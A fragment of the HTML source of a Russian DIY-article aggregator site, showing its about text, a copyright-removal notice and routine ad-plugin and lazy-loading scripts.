вопросы в максимально короткий срок. Мы постарались сделать систему, которая максимально бы облегчала вашу задачу поиска информации и поможет вам решить ваш вопрос самое ближайшее время.\n<\/p>\n<p>В нашем сайте много материалов, содержащих ответы на вопросы \"как сделать\" те или иные предметы и \"как сделать своими руками\" какие-то вещи. Большинство этих советов ориентировано на то, чтобы вы смогли найти ответ на свой вопрос в максимально короткий срок и после поиска нужной информации, вы смогли бы перейти на сайт автора и узнать там дополнительную информацию и получить советы. Если у вас возникли вопросы по работе с сайтом, вы можете задать их в комментариях под статьей. Если у вас возникли вопросы по поводу контента или если вдруг что-то непонятно, вы хотели более подробное описание получить, мы рекомендуем вам обратиться по ссылкам указанным на страницах сайта. Такие ссылки помечено записью <strong>\"ИСТОЧНИК\"<\/strong>. Вы можете перейти к ним на сайт и задать вопросы по интересующим вас материалам и я уверен, что автор с удовольствием ответит вам более подробно о том как сделать ту или иную вещь или предмет.\n<\/p>\n<p>Искренне надеемся, что наш ресурс для вас будет полезным и необходимым. Мы также открыты к сотрудничеству с правообладателями контента. Если вы являетесь автором того или иного материала и не хотите предоставлять возможность его публиковать на нашем агрегаторе информации, тогда вы можете обратиться к администрации с просьбой удалить тот или иной материал, принадлежащий вам. Все материалы оперативно удаляются. Контакты для связи с администрацией Вы можете найти на сайте на странице <a href=\"\/pravoobladatelyam\/\" rel=\"noopener\" target=\"_blank\">\"ПРАВООБЛАДАТЕЛЯМ\"<\/a><\/p>","snd":"","res_of":"∞","res_to":"∞"}]}];</script> <script> function jQueryLoaded_flatpm_123( $ ) { if( "function" !== typeof flatPM_start ){ return; } flatPM_start(); } function jQueryLoading_flatpm_123() { if (window.jQuery && window.flat_pm_arr) { jQueryLoaded_flatpm_123( jQuery ) } else { setTimeout(function() { jQueryLoading_flatpm_123() }, 50) } } jQueryLoading_flatpm_123() </script><script>window.lazyLoadOptions = { elements_selector: "img[data-lazy-src],.rocket-lazyload,iframe[data-lazy-src]", data_src: "lazy-src", data_srcset: "lazy-srcset", data_sizes: "lazy-sizes", class_loading: "lazyloading", class_loaded: "lazyloaded", threshold: 300, callback_loaded: function(element) { if ( element.tagName === "IFRAME" && element.dataset.rocketLazyload == "fitvidscompatible" ) { if (element.classList.contains("lazyloaded") ) { if (typeof window.jQuery != "undefined") { if (jQuery.fn.fitVids) { jQuery(element).parent().fitVids(); } } } } }}; window.addEventListener('LazyLoad::Initialized', function (e) { var lazyLoadInstance = e.detail.instance; if (window.MutationObserver) { var observer = new MutationObserver(function(mutations) { var image_count = 0; var iframe_count = 0; var rocketlazy_count = 0; mutations.forEach(function(mutation) { for (i = 0; i < mutation.addedNodes.length; i++) { if (typeof mutation.addedNodes[i].getElementsByTagName !== 'function') { return; } if (typeof mutation.addedNodes[i].getElementsByClassName !== 'function') { return; } images = mutation.addedNodes[i].getElementsByTagName('img'); is_image = mutation.addedNodes[i].tagName == "IMG"; iframes = mutation.addedNodes[i].getElementsByTagName('iframe'); is_iframe = mutation.addedNodes[i].tagName == "IFRAME"; rocket_lazy = mutation.addedNodes[i].getElementsByClassName('rocket-lazyload'); image_count += images.length; iframe_count += iframes.length; rocketlazy_count += rocket_lazy.length; if(is_image){ image_count += 1; } if(is_iframe){ iframe_count += 1; } } } ); if(image_count > 0 || iframe_count > 0 || rocketlazy_count > 0){ lazyLoadInstance.update(); } } ); var b = document.getElementsByTagName("body")[0]; var config = { childList: true, subtree: true }; observer.observe(b, config); } }, false);</script><script data-no-minify="1" async src="https://netigor.ru/wp-content/plugins/rocket-lazy-load/assets/js/16.1/lazyload.min.js"></script> </body> </html><!-- WP Fastest Cache file was created in 3.2104678153992 seconds, on 27-02-21 21:06:01 --><!-- need to refresh to see cached version -->